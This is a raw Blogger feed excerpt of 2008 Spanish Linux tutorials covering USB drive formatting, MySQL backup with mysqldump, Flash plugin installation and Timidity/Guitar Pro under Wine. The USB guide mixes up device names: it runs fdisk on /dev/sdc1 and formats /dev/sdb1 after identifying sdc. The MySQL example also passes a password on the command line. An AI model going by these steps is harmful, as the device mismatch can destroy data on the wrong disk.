formatear un pen drive USB desde un terminal GNU/Linux solo necesitamos seguir estos sencillos pasos:&lt;br /&gt;&lt;br /&gt;Primero conectamos el dispositivo a la PC y hacemos un tail para ver en que parte ha quedado:&lt;br /&gt;&lt;code&gt;$ tail /var/log/messages&lt;br /&gt;Sep 27 03:12:30 desktop kernel: [27939.999977] usb 1-7: configuration #1 chosen from 1 choice&lt;br /&gt;Sep 27 03:12:30 desktop kernel: [27940.002680] scsi8 : SCSI emulation for USB Mass Storage devices&lt;br /&gt;Sep 27 03:12:35 desktop kernel: [27944.996927] scsi 8:0:0:0: Direct-Access     Kingston DataTraveler 2.0 1.00 PQ: 0 ANSI: 2&lt;br /&gt;Sep 27 03:12:35 desktop kernel: [27945.007031] sd 8:0:0:0: [sdc] 15769600 512-byte hardware sectors (8074 MB)&lt;br /&gt;Sep 27 03:12:35 desktop kernel: [27945.007768] sd 8:0:0:0: [sdc] Write Protect is off&lt;br /&gt;Sep 27 03:12:35 desktop kernel: [27945.010384] sd 8:0:0:0: [sdc] 15769600 512-byte hardware sectors (8074 MB)&lt;br /&gt;Sep 27 03:12:35 desktop kernel: [27945.011009] sd 8:0:0:0: [sdc] Write Protect is off&lt;br /&gt;Sep 27 03:12:35 desktop kernel: [27945.011019]  sdc: sdc1&lt;br /&gt;Sep 27 03:12:35 desktop kernel: [27945.127126] sd 8:0:0:0: [sdc] Attached SCSI removable disk&lt;br /&gt;Sep 27 03:12:35 desktop kernel: [27945.127165] sd 8:0:0:0: Attached scsi generic sg3 type 0&lt;/code&gt; &lt;br /&gt;La salida nos proporciona bastante información sobre el pen drive (marca, modelo, tamaño, etc) pero lo que nos interesa en este momento es el dispositivo al que ha sido asociado; en este caso es sdc, más especificamente &lt;strong&gt;sdc1&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Procedemos entonces (como root de ahora en adelante) a desmontar el volúmen:&lt;br /&gt;&lt;code&gt;# umount /dev/sdc1&lt;/code&gt;&lt;br /&gt;Con fdisk vamos a eliminar las particiones (no es necesario pero es recomendable si el pen drive tiene algunas fallas lógicas)&lt;br /&gt;&lt;code&gt;# fdisk /dev/sdc1&lt;/code&gt;&lt;br /&gt;Esto nos abrirá una consola, y al escribir &lt;strong&gt;m&lt;/strong&gt; y presionar Enter nos debe salir un menú de ayuda similar al siguiente:&lt;br /&gt;&lt;code&gt;Orden (m para obtener ayuda): m&lt;br /&gt;Orden  Acción&lt;br /&gt;   a   Conmuta el indicador de iniciable&lt;br /&gt;   b   Modifica la etiqueta de disco bsd&lt;br /&gt;   c   Conmuta el indicador de compatibilidad con DOS&lt;br /&gt;   d   Suprime una partición&lt;br /&gt;   l   Lista los tipos de particiones conocidos&lt;br /&gt;   m   Imprime este menú&lt;br /&gt;   n   Añade una nueva partición&lt;br /&gt;   o   Crea una nueva tabla de particiones DOS vacía&lt;br /&gt;   p   Imprime la tabla de particiones&lt;br /&gt;   q   Sale sin guardar los cambios&lt;br /&gt;   s   Crea una nueva etiqueta de disco Sun&lt;br /&gt;   t   Cambia el identificador de sistema de una partición&lt;br /&gt;   u   Cambia las unidades de visualización/entrada&lt;br /&gt;   v   Verifica la tabla de particiones&lt;br /&gt;   w   Escribe la tabla en el disco y sale&lt;br /&gt;   x   Funciones adicionales (sólo para usuarios avanzados)&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Para eliminar la partición escribimos &lt;strong&gt;d&lt;/strong&gt; y presionamos Enter. Si hay una sola partición se borrará automáticamente, sino preguntará el número de la partición y debemos ir borrando una a una hasta que no quede ninguna.&lt;br /&gt;&lt;br /&gt;Con la orden &lt;strong&gt;n&lt;/strong&gt; se creará una nueva partición, escribimos &lt;strong&gt;p&lt;/strong&gt; para que sea primaria y &lt;strong&gt;1&lt;/strong&gt; para que sea la primera partición.&lt;br /&gt;&lt;br /&gt;Esto nos crea una partición de tipo Linux, pero el pen drive debe tener formato FAT para que pueda ser reconocido tanto en máquinas Windows como Linux así que ingresamos la orden &lt;strong&gt;t&lt;/strong&gt; para cambiar el tipo de la partición y escribimos posteriormente &lt;strong&gt;6&lt;/strong&gt; para que tome el tipo FAT16.&lt;br /&gt;&lt;br /&gt;Cuando todo esto se haya completado entonces damos la orden &lt;strong&gt;w&lt;/strong&gt; para que se escriban los cambios al disco.&lt;br /&gt;&lt;br /&gt;Por último, usamos la herramienta mkfs.vfat para darle el formato FAT16 y colocarle la etiqueta "USB" al pen drive:&lt;br /&gt;&lt;code&gt;# mkfs.vfat -F 16 -n USB /dev/sdb1&lt;/code&gt;&lt;br /&gt;Eso es todo, siguiendo estos sencillos pasos tendremos un pen drive como nuevo, completamente funcional.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4749027901332649176?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4749027901332649176/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4749027901332649176&amp;isPopup=true' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4749027901332649176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4749027901332649176'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/09/formatear-pen-drive-usb-en-gnulinux.html' title='Formatear Pen Drive USB en GNU/Linux'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5570518998001389182</id><published>2008-09-22T10:25:00.000-07:00</published><updated>2008-09-22T10:56:34.268-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bases de Datos'/><title type='text'>Respaldar y restaurar una base de datos MySQL</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Supongamos que tenemos un servidor de bases de datos MySQL con las siguientes características:&lt;br /&gt;&lt;br /&gt;Host: 127.0.0.1&lt;br /&gt;Usuario: admin&lt;br /&gt;Password: 123456&lt;br /&gt;Base de datos: Database&lt;br /&gt;&lt;br /&gt;Si queremos hacer un respaldo instantáneo de la base de datos, basta con usar el comando &lt;a href="http://dev.mysql.com/doc/refman/5.0/en/mysqldump.html"&gt;mysqldump&lt;/a&gt; como se muestra a continuación:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ mysqldump --quick -h&lt;b&gt;127.0.0.1&lt;/b&gt; -u&lt;b&gt;admin&lt;/b&gt; -p&lt;b&gt;123456&lt;/b&gt; &lt;b&gt;Database&lt;/b&gt; &gt; &lt;b&gt;respaldo.sql&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;--quick&lt;/strong&gt;: permite que el volcado de la información se haga fila por fila para evitar problemas de desempeño con bases de datos muy grandes.&lt;br /&gt;&lt;strong&gt;-h&lt;/strong&gt;: especifíca la dirección IP del servidor MySQL (se puede omitir este parametro si el equipo donde se hará el respaldo es el mismo donde se encuentra la base de datos).&lt;br /&gt;&lt;strong&gt;-u&lt;/strong&gt;: permite indicar el nombre del usuario con el que se desea conectar a la base de datos&lt;br /&gt;&lt;strong&gt;-p&lt;/strong&gt;: si se coloca sin ningún argumento pedirá la contraseña del usuario al ejecutar el comando. Si especificamos la contraseña seguidamente del -p entonces entrará directamente a la base de datos a realizar la operación solicitada.&lt;br /&gt;&lt;br /&gt;El comando mysqldump volcará el contenido de la base datos &lt;b&gt;Database&lt;/b&gt; en el archivo &lt;b&gt;respaldo.sql&lt;/b&gt; (usando los parametros de conexión indicados en los argumentos)&lt;br /&gt;&lt;br /&gt;Para restaurar la base de datos debemos primero debemos entrar en la consola del mysql y posteriormente ejecutamos el archivo respaldo.sql:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ mysql -h127.0.0.1 -uadmin -p123456 Database&lt;br /&gt;mysql&gt; source respaldo.sql&lt;/code&gt;&lt;br /&gt;Más adelante explicaré cómo realizar respaldos automáticos (usando bash y cron) de una base de datos.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5570518998001389182?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5570518998001389182/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5570518998001389182&amp;isPopup=true' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5570518998001389182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5570518998001389182'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/09/respaldar-y-restaurar-una-base-de-datos.html' title='Respaldar y restaurar una base de datos MySQL'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3488226310136779993</id><published>2008-09-08T12:19:00.000-07:00</published><updated>2008-09-08T12:48:22.241-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otros'/><title type='text'>¿Qué se puede hacer con un set de 6 CD's de Visual Studio .NET?</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Así como lo leen. Tenía en mis manos un set nuevecito con 6 CD's de instalación del Visual Studio .NET y me dijé... ¡Hey! Debería poder hacer algo con esto... Aquí está el resultado, disfrútenlo&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SMV7qHxyjKI/AAAAAAAAAEI/iu5zHB63WSc/s1600-h/060920081553.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SMV7qHxyjKI/AAAAAAAAAEI/iu5zHB63WSc/s320/060920081553.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5243733304715414690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SMV8Us7Q_yI/AAAAAAAAAEQ/VE64Gpp9ask/s1600-h/060920081554.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SMV8Us7Q_yI/AAAAAAAAAEQ/VE64Gpp9ask/s320/060920081554.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5243734036241776418" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SMV9MdrNc_I/AAAAAAAAAEY/GR5Y0ol5apA/s1600-h/060920081555.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SMV9MdrNc_I/AAAAAAAAAEY/GR5Y0ol5apA/s320/060920081555.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5243734994220577778" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SMV-C8h2wXI/AAAAAAAAAEg/tXt2AIqEUa8/s1600-h/060920081556.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SMV-C8h2wXI/AAAAAAAAAEg/tXt2AIqEUa8/s320/060920081556.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5243735930215776626" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Toda una obra maestra xD&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3488226310136779993?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3488226310136779993/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3488226310136779993&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3488226310136779993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3488226310136779993'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/09/qu-se-puede-hacer-con-un-set-de-6-cds.html' title='¿Qué se puede hacer con un set de 6 CD&apos;s de Visual Studio .NET?'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/SMV7qHxyjKI/AAAAAAAAAEI/iu5zHB63WSc/s72-c/060920081553.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1833602057525383539</id><published>2008-09-04T07:25:00.000-07:00</published><updated>2009-01-21T05:58:07.976-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Instalar Flash Player para Iceweasel en Debian Etch</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;En Debian Etch debemos seguir algunos  pasos _extras_ para configurar y poner a punto el plugin de flash para Iceweasel.&lt;br /&gt;&lt;br /&gt;Primero descargamos el plugin desde la página de Adobe: &lt;br /&gt;&lt;a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash"&gt;http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Podemos hacerlo también desde una consola usando:&lt;br /&gt;&lt;del&gt;$ wget &lt;a href="http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_9_linux.tar.gz"&gt;http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_9_linux.tar.gz&lt;/a&gt;&lt;/del&gt;&lt;br /&gt;&lt;br /&gt;Actualizo:&lt;br /&gt;La ruta anterior era para la versión 9 del plugin, pero al parecer la gente de adobe ya ha descontinuado esa versión. Para descargar el nuevo plugin usamos la siguiente ruta:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ wget &lt;a href="http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_10_linux.tar.gz"&gt;http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_10_linux.tar.gz&lt;/a&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Nos ubicamos en la carpeta donde fue descargado el paquete y lo descomprimimos usando:&lt;br /&gt;&lt;code&gt;$ tar -xvzf install_flash_player_10_linux.tar.gz&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Esto nos crea un directorio &lt;strong&gt;install_flash_player_10_linux&lt;/strong&gt; donde se encuentran los archivos &lt;strong&gt;flashplayer-installer&lt;/strong&gt; y &lt;strong&gt;libflashplayer.so&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;El &lt;strong&gt;flashplayer-installer&lt;/strong&gt; es un script que instala "automaticamente" el plugin pero no funciona en Debian Etch (porque algunas rutas son diferentes). Procedemos entonces a instalar manualmente el plugin en una consola con privilegios de root:&lt;br /&gt;&lt;br /&gt;Para Iceweasel:&lt;br /&gt;&lt;code&gt;# cp install_flash_player_10_linux/libflashplayer.so /usr/lib/iceweasel/plugins/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para Firefox:&lt;br /&gt;&lt;code&gt;# cp install_flash_player_10_linux/libflashplayer.so /usr/lib/mozilla-firefox/plugins/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para Konqueror:&lt;br /&gt;&lt;code&gt;# cp install_flash_player_10_linux/libflashplayer.so /usr/lib/netscape/plugins-libc6/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Si ninguna de las opciones anteriores funciona podemos instalarlo en nuestro directorio personal; solo estará disponible para nosotros y si agregamos un usuario nuevo debemos repetir el procedimiento con ese usuario pero es una solución viable:&lt;br /&gt;&lt;code&gt;# cp install_flash_player_10_linux/libflashplayer.so /home/mi_usuario/.mozilla/plugins/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora solo queda cerrar todas las ventanas del navegador y abrir nuevamente para que los cambios surtan efecto. Si deseas verificar que el plugin está instalado abre cualquier página que contenga un script en flash como por ejemplo: &lt;br /&gt;&lt;a href="http://www.adobe.com/es/support/flashplayer/ts/documents/tn_15507.htm"&gt;http://www.adobe.com/es/support/flashplayer/ts/documents/tn_15507.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;¿Te ha funcionado? Deja tu comentario&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1833602057525383539?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1833602057525383539/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1833602057525383539&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1833602057525383539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1833602057525383539'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/09/instalar-flash-player-para-iceweasel-en.html' title='Instalar Flash Player para Iceweasel en Debian Etch'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-7158374537931276567</id><published>2008-08-01T19:37:00.000-07:00</published><updated>2008-12-08T15:03:32.024-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Timidity y Guitar Pro 5 en Debian Lenny</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="http://www.guitar-pro.com/en/index.php"&gt;Guitar Pro&lt;/a&gt; es un editor de tablaturas multipistas para guitarra, bajo, percusión y otros instrumentos musicales. Por los momentos es uno de los mejores (si no el mejor) editor de tablaturas pero es propietario y de paso solo disponible solo para Windows y Mac. A pesar del creciente auge del software libre es difícil encontrar un reemplazo con las mismas funcionalidades. Existen algunas alternativas libres, como &lt;a href="http://kguitar.sourceforge.net/"&gt;kguitar&lt;/a&gt; o &lt;a href="http://dguitar.sourceforge.net/"&gt;dguitar&lt;/a&gt; pero aún les falta madurar un poco para hacer frente a guitar pro como verdaderos contendientes. &lt;br /&gt;&lt;br /&gt;He visto que algunas amigos no se pasan por completo a GNU/Linux porque no pueden usar Guitar Pro, así que decidí instalarlo y configurar todas las herramientas necesarias para obtener un rendimiento similar al que puede obtenerse en Windows y es lo que pretendo enseñarles a continuación. Sin embargo, hago la aclaración de que el RSE (Real Sound Engine) no funcionará muy bien (aún no he logrado corregirlo), pero el soporte MIDI funcionará al 100%. Para aquellos que no tengan Guitar Pro y deseen probarlo pueden descargar una versión de prueba de 15 días &lt;a href="http://www.guitar-pro.com/en/index.php?pg=download"&gt;aquí&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Los pasos siguientes son válidos para Debian y Ubuntu, pero la base debería ser la misma para otras distribuciones. También se supone que el sistema tiene instalado y configurado ALSA como manejador de sonidos.&lt;br /&gt;&lt;br /&gt;Primero instalaremos &lt;a href="http://www.winehq.org/"&gt;Wine&lt;/a&gt; y &lt;a href="http://timidity.sourceforge.net/"&gt;Timidity&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ sudo apt-get install wine timidity&lt;/code&gt;&lt;br /&gt;Para explicarlo con pocas palabras, Wine es una reimplementación de la API de Windows para sistemas operativos basados en Unix (o sea, nos permitirá instalar el Guitar Pro para Windows) y Timidity es un software sintetizador que permite reproducir archivos MIDI.&lt;br /&gt;&lt;br /&gt;Necesitamos descargar la librería de sonidos &lt;a href="http://soundfonts.homemusician.net/files/FluidR3122501.zip"&gt;Fluid&lt;/a&gt; y la aplicación &lt;a href="http://www.melodymachine.com/files/sfarkxtc_lx86.tar.gz"&gt;sfarkxtc&lt;/a&gt; para descomprimirla. Adicionalmente debemos instalar otra librería para que el sfarkxtc funcione correctamente:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ sudo apt-get install libstdc++5&lt;/code&gt;&lt;br /&gt;Mientras se descarga el Fluid instalaremos Guitar Pro en nuestro flamante sistema GNU/Linux (el método descrito también funciona para la versión completa de Guitar Pro). Para ello debemos abrir un terminal y ubicarnos en el directorio donde se encuentra el instalador y escribir:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ wine GP5DEMO.exe&lt;/code&gt;&lt;br /&gt;o simplemente haciendo clic derecho sobre el instalador y seleccionando la opción "Abrir con &lt;&lt;&lt;em&gt;wine&lt;/em&gt;&gt;&gt;".&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SJPrNic8nMI/AAAAAAAAAD4/25f-ZFbWsm8/s1600-h/winemenu.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SJPrNic8nMI/AAAAAAAAAD4/25f-ZFbWsm8/s320/winemenu.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5229782210126322882" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Si ésta opción no aparece entonces seleccionamos "Abrir con otra aplicación..." y en comando personalizado escribimos &lt;em&gt;wine&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Lo siguiente es ejecutar en un terminal:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ winecfg&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SJPraGgMdBI/AAAAAAAAAEA/N6KnfupcnXc/s1600-h/winecfg.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SJPraGgMdBI/AAAAAAAAAEA/N6KnfupcnXc/s320/winecfg.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5229782425962050578" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En la versión del sistema operativo escogemos &lt;strong&gt;Windows XP&lt;/strong&gt; y en la pestaña Audio seleccionamos la casilla &lt;strong&gt;ALSA Driver&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;!-- Vamos ahora con la configuración del Timidity. Lo primero es editar el script de inicio de Timidity que se encuentra en la ruta &lt;strong&gt;/etc/init.d/timidity&lt;/strong&gt;. Podemos usar el editor de texto de nuestra preferencia siempre y cuando lo hagamos con privilegios de root. Allí ubicaremos la línea:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;PARAMS="${TIM_ALSASEQPARAMS} -iAD"&lt;/code&gt;&lt;br /&gt;y la reemplazaremos con:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;PARAMS="${TIM_ALSASEQPARAMS} -iAD -B2,8 -Os1l -s 44100 -EFreverb=0"&lt;/code&gt; --&gt;&lt;br /&gt;&lt;br /&gt;Vamos ahora con la configuración del Timidity. Lo primero es editar el archivo &lt;strong&gt;/etc/default/timidity&lt;/strong&gt; y ubicamos la línea:&lt;br /&gt;&lt;code&gt;#TIM_ALSASEQ=true&lt;/code&gt; &lt;br /&gt;y la descomentamos. Quedaría así:&lt;br /&gt;&lt;code&gt;TIM_ALSASEQ=true&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;También buscamos la línea: &lt;br /&gt;&lt;code&gt;TIM_ALSASEQPARAMS="-Os"&lt;/code&gt; &lt;br /&gt;y la reemplazamos por: &lt;br /&gt;&lt;code&gt;TIM_ALSASEQPARAMS="-iAr -B2,8 -Os1l -s 44100 -EFreverb=0"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Posteriormente  creamos la carpeta &lt;strong&gt;.timidity&lt;/strong&gt; en nuestro directorio home (si es que no existe):&lt;br /&gt;&lt;code&gt;mkdir ~/.timidity&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Cuando tengamos la librería Fluid descargada la descomprimimos junto con el sfarkxtc, en la misma ubicación (archivos FluidR3122501.zip y sfarkxtc_lx86.tar.gz respectivamente). Desde el terminal, nos colocamos en la carpeta donde fueron descomprimidos los archivos y ejecutamos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ./sfarkxtc FluidR3\ GM.sfArk&lt;br /&gt;$ ./sfarkxtc FluidR3\ GS.sfArk&lt;br /&gt;$ mv FluidR3\ GM.SF2 ~/.timidity/FluidR3GM.SF2&lt;br /&gt;$ mv FluidR3\ GS.SF2 ~/.timidity/FluidR3GS.SF2&lt;/code&gt;&lt;br /&gt;Y con eso tendremos sendos archivos .SF2 listos para usarse. A continuación editamos el archivo &lt;strong&gt;/etc/timidity/timidity.cfg&lt;/strong&gt; (también con privilegios de root) y buscamos la línea:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;source /etc/timidity/freepats.cfg&lt;/code&gt;&lt;br /&gt;y la reemplazamos por:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;soundfont "~/.timidity/FluidR3GM.SF2"&lt;br /&gt;soundfont "~/.timidity/FluidR3GS.SF2"&lt;/code&gt;&lt;br /&gt;Por último, reiniciamos Timidity:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ sudo /etc/init.d/timidity restart&lt;/code&gt;&lt;br /&gt;En este punto ya disponemos de un Timidity con esteroides, correctamente configurado y listo para trabajar con Guitar Pro.&lt;br /&gt;&lt;br /&gt;Si te aparece un error similar a este:&lt;br /&gt;&lt;code&gt;Starting TiMidity++ ALSA midi emulation...ALSA lib seq_hw.c:457:(snd_seq_hw_open) open /dev/snd/seq failed: No such file or directory&lt;br /&gt;error in snd_seq_open&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Entonces necesitas cargar el módulo snd_seq, para ello ejecutas:&lt;br /&gt;&lt;code&gt;# modprobe snd_seq&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y para que se cargue cada vez que iniciamos el equipo editas el archivo &lt;strong&gt;/etc/modules&lt;/strong&gt; y agregas una nueva línea con la palabra &lt;strong&gt;snd_seq&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Nos queda configurar el Guitar Pro para que use Timidity como dispositivo de salida MIDI. Ejecutamos Guitar Pro bien sea desde el menú &lt;strong&gt;Aplicaciones-&gt;Wine-&gt;Programas-&gt;Guitar Pro 5&lt;/strong&gt; o tecleando en el terminal:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ cd ~/.wine/drive_c/Archivos\ de\ programa/Guitar\ Pro\ 5&lt;br /&gt;$ wine GP5.exe&lt;/code&gt;&lt;br /&gt;Allí vamos al menú &lt;strong&gt;Opciones-&gt;Ajuste de Audio (MIDI/RSE)...&lt;/strong&gt; seleccionamos &lt;strong&gt;Timidity&lt;/strong&gt; como dispositivo de salida MIDI y &lt;strong&gt;General MIDI&lt;/strong&gt; como juego de instrumentos. Podemos jugar también con la &lt;strong&gt;Capacidad de los Buffers&lt;/strong&gt; poniéndolos en un valor más alto (yo lo tengo en 2048) si notamos un sonido cortado o un poco laggeado. Para más información puedes visitar la página de &lt;a href="http://appdb.winehq.org/appview.php?iAppId=246"&gt;soporte de Wine para Guitar Pro&lt;/a&gt;. Solo queda empezar a usarlo y disfrutar de secuencias MIDI con una excelente calidad xD &lt;br /&gt;&lt;br 